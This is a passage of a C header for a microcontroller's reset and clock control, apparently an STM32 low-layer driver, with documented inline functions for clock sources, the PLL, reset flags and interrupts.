LL_RCC_USART3_CLKSOURCE_HSI (*) * * (*) value not defined in all devices. * @retval None */ __STATIC_INLINE void LL_RCC_SetUSARTClockSource(uint32_t USARTxSource) { MODIFY_REG(RCC->CFGR3, (RCC_CFGR3_USART1SW << ((USARTxSource & 0xFF000000U) >> 24U)), (USARTxSource & 0x00FFFFFFU)); } /** * @brief Configure I2Cx clock source * @rmtoll CFGR3 I2C1SW LL_RCC_SetI2CClockSource * @param I2CxSource This parameter can be one of the following values: * @arg @ref LL_RCC_I2C1_CLKSOURCE_HSI * @arg @ref LL_RCC_I2C1_CLKSOURCE_SYSCLK * @retval None */ __STATIC_INLINE void LL_RCC_SetI2CClockSource(uint32_t I2CxSource) { MODIFY_REG(RCC->CFGR3, RCC_CFGR3_I2C1SW, I2CxSource); } #if defined(CEC) /** * @brief Configure CEC clock source * @rmtoll CFGR3 CECSW LL_RCC_SetCECClockSource * @param CECxSource This parameter can be one of the following values: * @arg @ref LL_RCC_CEC_CLKSOURCE_HSI_DIV244 * @arg @ref LL_RCC_CEC_CLKSOURCE_LSE * @retval None */ __STATIC_INLINE void LL_RCC_SetCECClockSource(uint32_t CECxSource) { MODIFY_REG(RCC->CFGR3, RCC_CFGR3_CECSW, CECxSource); } #endif /* CEC */ #if defined(USB) /** * @brief Configure USB clock source * @rmtoll CFGR3 USBSW LL_RCC_SetUSBClockSource * @param USBxSource This parameter can be one of the following values: * @arg @ref LL_RCC_USB_CLKSOURCE_HSI48 (*) * @arg @ref LL_RCC_USB_CLKSOURCE_NONE (*) * @arg @ref LL_RCC_USB_CLKSOURCE_PLL * * (*) value not defined in all devices. * @retval None */ __STATIC_INLINE void LL_RCC_SetUSBClockSource(uint32_t USBxSource) { MODIFY_REG(RCC->CFGR3, RCC_CFGR3_USBSW, USBxSource); } #endif /* USB */ /** * @brief Get USARTx clock source * @rmtoll CFGR3 USART1SW LL_RCC_GetUSARTClockSource\n * CFGR3 USART2SW LL_RCC_GetUSARTClockSource\n * CFGR3 USART3SW LL_RCC_GetUSARTClockSource * @param USARTx This parameter can be one of the following values: * @arg @ref LL_RCC_USART1_CLKSOURCE * @arg @ref LL_RCC_USART2_CLKSOURCE (*) * @arg @ref LL_RCC_USART3_CLKSOURCE (*) * * (*) value not defined in all devices. * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_USART1_CLKSOURCE_PCLK1 * @arg @ref LL_RCC_USART1_CLKSOURCE_SYSCLK * @arg @ref LL_RCC_USART1_CLKSOURCE_LSE * @arg @ref LL_RCC_USART1_CLKSOURCE_HSI * @arg @ref LL_RCC_USART2_CLKSOURCE_PCLK1 (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_SYSCLK (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_LSE (*) * @arg @ref LL_RCC_USART2_CLKSOURCE_HSI (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_PCLK1 (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_SYSCLK (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_LSE (*) * @arg @ref LL_RCC_USART3_CLKSOURCE_HSI (*) * * (*) value not defined in all devices. */ __STATIC_INLINE uint32_t LL_RCC_GetUSARTClockSource(uint32_t USARTx) { return (uint32_t)(READ_BIT(RCC->CFGR3, (RCC_CFGR3_USART1SW << USARTx)) | (USARTx << 24U)); } /** * @brief Get I2Cx clock source * @rmtoll CFGR3 I2C1SW LL_RCC_GetI2CClockSource * @param I2Cx This parameter can be one of the following values: * @arg @ref LL_RCC_I2C1_CLKSOURCE * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_I2C1_CLKSOURCE_HSI * @arg @ref LL_RCC_I2C1_CLKSOURCE_SYSCLK */ __STATIC_INLINE uint32_t LL_RCC_GetI2CClockSource(uint32_t I2Cx) { return (uint32_t)(READ_BIT(RCC->CFGR3, I2Cx)); } #if defined(CEC) /** * @brief Get CEC clock source * @rmtoll CFGR3 CECSW LL_RCC_GetCECClockSource * @param CECx This parameter can be one of the following values: * @arg @ref LL_RCC_CEC_CLKSOURCE * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_CEC_CLKSOURCE_HSI_DIV244 * @arg @ref LL_RCC_CEC_CLKSOURCE_LSE */ __STATIC_INLINE uint32_t LL_RCC_GetCECClockSource(uint32_t CECx) { return (uint32_t)(READ_BIT(RCC->CFGR3, CECx)); } #endif /* CEC */ #if defined(USB) /** * @brief Get USBx clock source * @rmtoll CFGR3 USBSW LL_RCC_GetUSBClockSource * @param USBx This parameter can be one of the following values: * @arg @ref LL_RCC_USB_CLKSOURCE * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_USB_CLKSOURCE_HSI48 (*) * @arg @ref LL_RCC_USB_CLKSOURCE_NONE (*) * @arg @ref LL_RCC_USB_CLKSOURCE_PLL * * (*) value not defined in all devices. */ __STATIC_INLINE uint32_t LL_RCC_GetUSBClockSource(uint32_t USBx) { return (uint32_t)(READ_BIT(RCC->CFGR3, USBx)); } #endif /* USB */ /** * @} */ /** @defgroup RCC_LL_EF_RTC RTC * @{ */ /** * @brief Set RTC Clock Source * @note Once the RTC clock source has been selected, it cannot be changed any more unless * the Backup domain is reset. The BDRST bit can be used to reset them. * @rmtoll BDCR RTCSEL LL_RCC_SetRTCClockSource * @param Source This parameter can be one of the following values: * @arg @ref LL_RCC_RTC_CLKSOURCE_NONE * @arg @ref LL_RCC_RTC_CLKSOURCE_LSE * @arg @ref LL_RCC_RTC_CLKSOURCE_LSI * @arg @ref LL_RCC_RTC_CLKSOURCE_HSE_DIV32 * @retval None */ __STATIC_INLINE void LL_RCC_SetRTCClockSource(uint32_t Source) { MODIFY_REG(RCC->BDCR, RCC_BDCR_RTCSEL, Source); } /** * @brief Get RTC Clock Source * @rmtoll BDCR RTCSEL LL_RCC_GetRTCClockSource * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_RTC_CLKSOURCE_NONE * @arg @ref LL_RCC_RTC_CLKSOURCE_LSE * @arg @ref LL_RCC_RTC_CLKSOURCE_LSI * @arg @ref LL_RCC_RTC_CLKSOURCE_HSE_DIV32 */ __STATIC_INLINE uint32_t LL_RCC_GetRTCClockSource(void) { return (uint32_t)(READ_BIT(RCC->BDCR, RCC_BDCR_RTCSEL)); } /** * @brief Enable RTC * @rmtoll BDCR RTCEN LL_RCC_EnableRTC * @retval None */ __STATIC_INLINE void LL_RCC_EnableRTC(void) { SET_BIT(RCC->BDCR, RCC_BDCR_RTCEN); } /** * @brief Disable RTC * @rmtoll BDCR RTCEN LL_RCC_DisableRTC * @retval None */ __STATIC_INLINE void LL_RCC_DisableRTC(void) { CLEAR_BIT(RCC->BDCR, RCC_BDCR_RTCEN); } /** * @brief Check if RTC has been enabled or not * @rmtoll BDCR RTCEN LL_RCC_IsEnabledRTC * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledRTC(void) { return (READ_BIT(RCC->BDCR, RCC_BDCR_RTCEN) == (RCC_BDCR_RTCEN)); } /** * @brief Force the Backup domain reset * @rmtoll BDCR BDRST LL_RCC_ForceBackupDomainReset * @retval None */ __STATIC_INLINE void LL_RCC_ForceBackupDomainReset(void) { SET_BIT(RCC->BDCR, RCC_BDCR_BDRST); } /** * @brief Release the Backup domain reset * @rmtoll BDCR BDRST LL_RCC_ReleaseBackupDomainReset * @retval None */ __STATIC_INLINE void LL_RCC_ReleaseBackupDomainReset(void) { CLEAR_BIT(RCC->BDCR, RCC_BDCR_BDRST); } /** * @} */ /** @defgroup RCC_LL_EF_PLL PLL * @{ */ /** * @brief Enable PLL * @rmtoll CR PLLON LL_RCC_PLL_Enable * @retval None */ __STATIC_INLINE void LL_RCC_PLL_Enable(void) { SET_BIT(RCC->CR, RCC_CR_PLLON); } /** * @brief Disable PLL * @note Cannot be disabled if the PLL clock is used as the system clock * @rmtoll CR PLLON LL_RCC_PLL_Disable * @retval None */ __STATIC_INLINE void LL_RCC_PLL_Disable(void) { CLEAR_BIT(RCC->CR, RCC_CR_PLLON); } /** * @brief Check if PLL Ready * @rmtoll CR PLLRDY LL_RCC_PLL_IsReady * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_PLL_IsReady(void) { return (READ_BIT(RCC->CR, RCC_CR_PLLRDY) == (RCC_CR_PLLRDY)); } #if defined(RCC_PLLSRC_PREDIV1_SUPPORT) /** * @brief Configure PLL used for SYSCLK Domain * @rmtoll CFGR PLLSRC LL_RCC_PLL_ConfigDomain_SYS\n * CFGR PLLMUL LL_RCC_PLL_ConfigDomain_SYS\n * CFGR2 PREDIV LL_RCC_PLL_ConfigDomain_SYS * @param Source This parameter can be one of the following values: * @arg @ref LL_RCC_PLLSOURCE_HSI * @arg @ref LL_RCC_PLLSOURCE_HSE * @arg @ref LL_RCC_PLLSOURCE_HSI48 (*) * * (*) value not defined in all devices * @param PLLMul This parameter can be one of the following values: * @arg @ref LL_RCC_PLL_MUL_2 * @arg @ref LL_RCC_PLL_MUL_3 * @arg @ref LL_RCC_PLL_MUL_4 * @arg @ref LL_RCC_PLL_MUL_5 * @arg @ref LL_RCC_PLL_MUL_6 * @arg @ref LL_RCC_PLL_MUL_7 * @arg @ref LL_RCC_PLL_MUL_8 * @arg @ref LL_RCC_PLL_MUL_9 * @arg @ref LL_RCC_PLL_MUL_10 * @arg @ref LL_RCC_PLL_MUL_11 * @arg @ref LL_RCC_PLL_MUL_12 * @arg @ref LL_RCC_PLL_MUL_13 * @arg @ref LL_RCC_PLL_MUL_14 * @arg @ref LL_RCC_PLL_MUL_15 * @arg @ref LL_RCC_PLL_MUL_16 * @param PLLDiv This parameter can be one of the following values: * @arg @ref LL_RCC_PREDIV_DIV_1 * @arg @ref LL_RCC_PREDIV_DIV_2 * @arg @ref LL_RCC_PREDIV_DIV_3 * @arg @ref LL_RCC_PREDIV_DIV_4 * @arg @ref LL_RCC_PREDIV_DIV_5 * @arg @ref LL_RCC_PREDIV_DIV_6 * @arg @ref LL_RCC_PREDIV_DIV_7 * @arg @ref LL_RCC_PREDIV_DIV_8 * @arg @ref LL_RCC_PREDIV_DIV_9 * @arg @ref LL_RCC_PREDIV_DIV_10 * @arg @ref LL_RCC_PREDIV_DIV_11 * @arg @ref LL_RCC_PREDIV_DIV_12 * @arg @ref LL_RCC_PREDIV_DIV_13 * @arg @ref LL_RCC_PREDIV_DIV_14 * @arg @ref LL_RCC_PREDIV_DIV_15 * @arg @ref LL_RCC_PREDIV_DIV_16 * @retval None */ __STATIC_INLINE void LL_RCC_PLL_ConfigDomain_SYS(uint32_t Source, uint32_t PLLMul, uint32_t PLLDiv) { MODIFY_REG(RCC->CFGR, RCC_CFGR_PLLSRC | RCC_CFGR_PLLMUL, Source | PLLMul); MODIFY_REG(RCC->CFGR2, RCC_CFGR2_PREDIV, PLLDiv); } #else /** * @brief Configure PLL used for SYSCLK Domain * @rmtoll CFGR PLLSRC LL_RCC_PLL_ConfigDomain_SYS\n * CFGR PLLMUL LL_RCC_PLL_ConfigDomain_SYS\n * CFGR2 PREDIV LL_RCC_PLL_ConfigDomain_SYS * @param Source This parameter can be one of the following values: * @arg @ref LL_RCC_PLLSOURCE_HSI_DIV_2 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_1 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_2 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_3 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_4 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_5 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_6 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_7 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_8 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_9 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_10 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_11 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_12 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_13 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_14 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_15 * @arg @ref LL_RCC_PLLSOURCE_HSE_DIV_16 * @param PLLMul This parameter can be one of the following values: * @arg @ref LL_RCC_PLL_MUL_2 * @arg @ref LL_RCC_PLL_MUL_3 * @arg @ref LL_RCC_PLL_MUL_4 * @arg @ref LL_RCC_PLL_MUL_5 * @arg @ref LL_RCC_PLL_MUL_6 * @arg @ref LL_RCC_PLL_MUL_7 * @arg @ref LL_RCC_PLL_MUL_8 * @arg @ref LL_RCC_PLL_MUL_9 * @arg @ref LL_RCC_PLL_MUL_10 * @arg @ref LL_RCC_PLL_MUL_11 * @arg @ref LL_RCC_PLL_MUL_12 * @arg @ref LL_RCC_PLL_MUL_13 * @arg @ref LL_RCC_PLL_MUL_14 * @arg @ref LL_RCC_PLL_MUL_15 * @arg @ref LL_RCC_PLL_MUL_16 * @retval None */ __STATIC_INLINE void LL_RCC_PLL_ConfigDomain_SYS(uint32_t Source, uint32_t PLLMul) { MODIFY_REG(RCC->CFGR, RCC_CFGR_PLLSRC | RCC_CFGR_PLLMUL, (Source & RCC_CFGR_PLLSRC) | PLLMul); MODIFY_REG(RCC->CFGR2, RCC_CFGR2_PREDIV, (Source & RCC_CFGR2_PREDIV)); } #endif /* RCC_PLLSRC_PREDIV1_SUPPORT */ /** * @brief Get the oscillator used as PLL clock source. * @rmtoll CFGR PLLSRC LL_RCC_PLL_GetMainSource * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_PLLSOURCE_HSI (*) * @arg @ref LL_RCC_PLLSOURCE_HSI_DIV_2 (*) * @arg @ref LL_RCC_PLLSOURCE_HSE * @arg @ref LL_RCC_PLLSOURCE_HSI48 (*) * * (*) value not defined in all devices */ __STATIC_INLINE uint32_t LL_RCC_PLL_GetMainSource(void) { return (uint32_t)(READ_BIT(RCC->CFGR, RCC_CFGR_PLLSRC)); } /** * @brief Get PLL multiplication Factor * @rmtoll CFGR PLLMUL LL_RCC_PLL_GetMultiplicator * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_PLL_MUL_2 * @arg @ref LL_RCC_PLL_MUL_3 * @arg @ref LL_RCC_PLL_MUL_4 * @arg @ref LL_RCC_PLL_MUL_5 * @arg @ref LL_RCC_PLL_MUL_6 * @arg @ref LL_RCC_PLL_MUL_7 * @arg @ref LL_RCC_PLL_MUL_8 * @arg @ref LL_RCC_PLL_MUL_9 * @arg @ref LL_RCC_PLL_MUL_10 * @arg @ref LL_RCC_PLL_MUL_11 * @arg @ref LL_RCC_PLL_MUL_12 * @arg @ref LL_RCC_PLL_MUL_13 * @arg @ref LL_RCC_PLL_MUL_14 * @arg @ref LL_RCC_PLL_MUL_15 * @arg @ref LL_RCC_PLL_MUL_16 */ __STATIC_INLINE uint32_t LL_RCC_PLL_GetMultiplicator(void) { return (uint32_t)(READ_BIT(RCC->CFGR, RCC_CFGR_PLLMUL)); } /** * @brief Get PREDIV division factor for the main PLL * @note They can be written only when the PLL is disabled * @rmtoll CFGR2 PREDIV LL_RCC_PLL_GetPrediv * @retval Returned value can be one of the following values: * @arg @ref LL_RCC_PREDIV_DIV_1 * @arg @ref LL_RCC_PREDIV_DIV_2 * @arg @ref LL_RCC_PREDIV_DIV_3 * @arg @ref LL_RCC_PREDIV_DIV_4 * @arg @ref LL_RCC_PREDIV_DIV_5 * @arg @ref LL_RCC_PREDIV_DIV_6 * @arg @ref LL_RCC_PREDIV_DIV_7 * @arg @ref LL_RCC_PREDIV_DIV_8 * @arg @ref LL_RCC_PREDIV_DIV_9 * @arg @ref LL_RCC_PREDIV_DIV_10 * @arg @ref LL_RCC_PREDIV_DIV_11 * @arg @ref LL_RCC_PREDIV_DIV_12 * @arg @ref LL_RCC_PREDIV_DIV_13 * @arg @ref LL_RCC_PREDIV_DIV_14 * @arg @ref LL_RCC_PREDIV_DIV_15 * @arg @ref LL_RCC_PREDIV_DIV_16 */ __STATIC_INLINE uint32_t LL_RCC_PLL_GetPrediv(void) { return (uint32_t)(READ_BIT(RCC->CFGR2, RCC_CFGR2_PREDIV)); } /** * @} */ /** @defgroup RCC_LL_EF_FLAG_Management FLAG Management * @{ */ /** * @brief Clear LSI ready interrupt flag * @rmtoll CIR LSIRDYC LL_RCC_ClearFlag_LSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_LSIRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_LSIRDYC); } /** * @brief Clear LSE ready interrupt flag * @rmtoll CIR LSERDYC LL_RCC_ClearFlag_LSERDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_LSERDY(void) { SET_BIT(RCC->CIR, RCC_CIR_LSERDYC); } /** * @brief Clear HSI ready interrupt flag * @rmtoll CIR HSIRDYC LL_RCC_ClearFlag_HSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_HSIRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSIRDYC); } /** * @brief Clear HSE ready interrupt flag * @rmtoll CIR HSERDYC LL_RCC_ClearFlag_HSERDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_HSERDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSERDYC); } /** * @brief Clear PLL ready interrupt flag * @rmtoll CIR PLLRDYC LL_RCC_ClearFlag_PLLRDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_PLLRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_PLLRDYC); } /** * @brief Clear HSI14 ready interrupt flag * @rmtoll CIR HSI14RDYC LL_RCC_ClearFlag_HSI14RDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_HSI14RDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSI14RDYC); } #if defined(RCC_HSI48_SUPPORT) /** * @brief Clear HSI48 ready interrupt flag * @rmtoll CIR HSI48RDYC LL_RCC_ClearFlag_HSI48RDY * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_HSI48RDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSI48RDYC); } #endif /* RCC_HSI48_SUPPORT */ /** * @brief Clear Clock security system interrupt flag * @rmtoll CIR CSSC LL_RCC_ClearFlag_HSECSS * @retval None */ __STATIC_INLINE void LL_RCC_ClearFlag_HSECSS(void) { SET_BIT(RCC->CIR, RCC_CIR_CSSC); } /** * @brief Check if LSI ready interrupt occurred or not * @rmtoll CIR LSIRDYF LL_RCC_IsActiveFlag_LSIRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_LSIRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_LSIRDYF) == (RCC_CIR_LSIRDYF)); } /** * @brief Check if LSE ready interrupt occurred or not * @rmtoll CIR LSERDYF LL_RCC_IsActiveFlag_LSERDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_LSERDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_LSERDYF) == (RCC_CIR_LSERDYF)); } /** * @brief Check if HSI ready interrupt occurred or not * @rmtoll CIR HSIRDYF LL_RCC_IsActiveFlag_HSIRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_HSIRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSIRDYF) == (RCC_CIR_HSIRDYF)); } /** * @brief Check if HSE ready interrupt occurred or not * @rmtoll CIR HSERDYF LL_RCC_IsActiveFlag_HSERDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_HSERDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSERDYF) == (RCC_CIR_HSERDYF)); } /** * @brief Check if PLL ready interrupt occurred or not * @rmtoll CIR PLLRDYF LL_RCC_IsActiveFlag_PLLRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_PLLRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_PLLRDYF) == (RCC_CIR_PLLRDYF)); } /** * @brief Check if HSI14 ready interrupt occurred or not * @rmtoll CIR HSI14RDYF LL_RCC_IsActiveFlag_HSI14RDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_HSI14RDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSI14RDYF) == (RCC_CIR_HSI14RDYF)); } #if defined(RCC_HSI48_SUPPORT) /** * @brief Check if HSI48 ready interrupt occurred or not * @rmtoll CIR HSI48RDYF LL_RCC_IsActiveFlag_HSI48RDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_HSI48RDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSI48RDYF) == (RCC_CIR_HSI48RDYF)); } #endif /* RCC_HSI48_SUPPORT */ /** * @brief Check if Clock security system interrupt occurred or not * @rmtoll CIR CSSF LL_RCC_IsActiveFlag_HSECSS * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_HSECSS(void) { return (READ_BIT(RCC->CIR, RCC_CIR_CSSF) == (RCC_CIR_CSSF)); } /** * @brief Check if RCC flag Independent Watchdog reset is set or not. * @rmtoll CSR IWDGRSTF LL_RCC_IsActiveFlag_IWDGRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_IWDGRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_IWDGRSTF) == (RCC_CSR_IWDGRSTF)); } /** * @brief Check if RCC flag Low Power reset is set or not. * @rmtoll CSR LPWRRSTF LL_RCC_IsActiveFlag_LPWRRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_LPWRRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_LPWRRSTF) == (RCC_CSR_LPWRRSTF)); } /** * @brief Check if RCC flag is set or not. * @rmtoll CSR OBLRSTF LL_RCC_IsActiveFlag_OBLRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_OBLRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_OBLRSTF) == (RCC_CSR_OBLRSTF)); } /** * @brief Check if RCC flag Pin reset is set or not. * @rmtoll CSR PINRSTF LL_RCC_IsActiveFlag_PINRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_PINRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_PINRSTF) == (RCC_CSR_PINRSTF)); } /** * @brief Check if RCC flag POR/PDR reset is set or not. * @rmtoll CSR PORRSTF LL_RCC_IsActiveFlag_PORRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_PORRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_PORRSTF) == (RCC_CSR_PORRSTF)); } /** * @brief Check if RCC flag Software reset is set or not. * @rmtoll CSR SFTRSTF LL_RCC_IsActiveFlag_SFTRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_SFTRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_SFTRSTF) == (RCC_CSR_SFTRSTF)); } /** * @brief Check if RCC flag Window Watchdog reset is set or not. * @rmtoll CSR WWDGRSTF LL_RCC_IsActiveFlag_WWDGRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_WWDGRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_WWDGRSTF) == (RCC_CSR_WWDGRSTF)); } #if defined(RCC_CSR_V18PWRRSTF) /** * @brief Check if RCC Reset flag of the 1.8 V domain is set or not. * @rmtoll CSR V18PWRRSTF LL_RCC_IsActiveFlag_V18PWRRST * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsActiveFlag_V18PWRRST(void) { return (READ_BIT(RCC->CSR, RCC_CSR_V18PWRRSTF) == (RCC_CSR_V18PWRRSTF)); } #endif /* RCC_CSR_V18PWRRSTF */ /** * @brief Set RMVF bit to clear the reset flags. * @rmtoll CSR RMVF LL_RCC_ClearResetFlags * @retval None */ __STATIC_INLINE void LL_RCC_ClearResetFlags(void) { SET_BIT(RCC->CSR, RCC_CSR_RMVF); } /** * @} */ /** @defgroup RCC_LL_EF_IT_Management IT Management * @{ */ /** * @brief Enable LSI ready interrupt * @rmtoll CIR LSIRDYIE LL_RCC_EnableIT_LSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_LSIRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_LSIRDYIE); } /** * @brief Enable LSE ready interrupt * @rmtoll CIR LSERDYIE LL_RCC_EnableIT_LSERDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_LSERDY(void) { SET_BIT(RCC->CIR, RCC_CIR_LSERDYIE); } /** * @brief Enable HSI ready interrupt * @rmtoll CIR HSIRDYIE LL_RCC_EnableIT_HSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_HSIRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSIRDYIE); } /** * @brief Enable HSE ready interrupt * @rmtoll CIR HSERDYIE LL_RCC_EnableIT_HSERDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_HSERDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSERDYIE); } /** * @brief Enable PLL ready interrupt * @rmtoll CIR PLLRDYIE LL_RCC_EnableIT_PLLRDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_PLLRDY(void) { SET_BIT(RCC->CIR, RCC_CIR_PLLRDYIE); } /** * @brief Enable HSI14 ready interrupt * @rmtoll CIR HSI14RDYIE LL_RCC_EnableIT_HSI14RDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_HSI14RDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSI14RDYIE); } #if defined(RCC_HSI48_SUPPORT) /** * @brief Enable HSI48 ready interrupt * @rmtoll CIR HSI48RDYIE LL_RCC_EnableIT_HSI48RDY * @retval None */ __STATIC_INLINE void LL_RCC_EnableIT_HSI48RDY(void) { SET_BIT(RCC->CIR, RCC_CIR_HSI48RDYIE); } #endif /* RCC_HSI48_SUPPORT */ /** * @brief Disable LSI ready interrupt * @rmtoll CIR LSIRDYIE LL_RCC_DisableIT_LSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_LSIRDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_LSIRDYIE); } /** * @brief Disable LSE ready interrupt * @rmtoll CIR LSERDYIE LL_RCC_DisableIT_LSERDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_LSERDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_LSERDYIE); } /** * @brief Disable HSI ready interrupt * @rmtoll CIR HSIRDYIE LL_RCC_DisableIT_HSIRDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_HSIRDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_HSIRDYIE); } /** * @brief Disable HSE ready interrupt * @rmtoll CIR HSERDYIE LL_RCC_DisableIT_HSERDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_HSERDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_HSERDYIE); } /** * @brief Disable PLL ready interrupt * @rmtoll CIR PLLRDYIE LL_RCC_DisableIT_PLLRDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_PLLRDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_PLLRDYIE); } /** * @brief Disable HSI14 ready interrupt * @rmtoll CIR HSI14RDYIE LL_RCC_DisableIT_HSI14RDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_HSI14RDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_HSI14RDYIE); } #if defined(RCC_HSI48_SUPPORT) /** * @brief Disable HSI48 ready interrupt * @rmtoll CIR HSI48RDYIE LL_RCC_DisableIT_HSI48RDY * @retval None */ __STATIC_INLINE void LL_RCC_DisableIT_HSI48RDY(void) { CLEAR_BIT(RCC->CIR, RCC_CIR_HSI48RDYIE); } #endif /* RCC_HSI48_SUPPORT */ /** * @brief Checks if LSI ready interrupt source is enabled or disabled. * @rmtoll CIR LSIRDYIE LL_RCC_IsEnabledIT_LSIRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_LSIRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_LSIRDYIE) == (RCC_CIR_LSIRDYIE)); } /** * @brief Checks if LSE ready interrupt source is enabled or disabled. * @rmtoll CIR LSERDYIE LL_RCC_IsEnabledIT_LSERDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_LSERDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_LSERDYIE) == (RCC_CIR_LSERDYIE)); } /** * @brief Checks if HSI ready interrupt source is enabled or disabled. * @rmtoll CIR HSIRDYIE LL_RCC_IsEnabledIT_HSIRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_HSIRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSIRDYIE) == (RCC_CIR_HSIRDYIE)); } /** * @brief Checks if HSE ready interrupt source is enabled or disabled. * @rmtoll CIR HSERDYIE LL_RCC_IsEnabledIT_HSERDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_HSERDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSERDYIE) == (RCC_CIR_HSERDYIE)); } /** * @brief Checks if PLL ready interrupt source is enabled or disabled. * 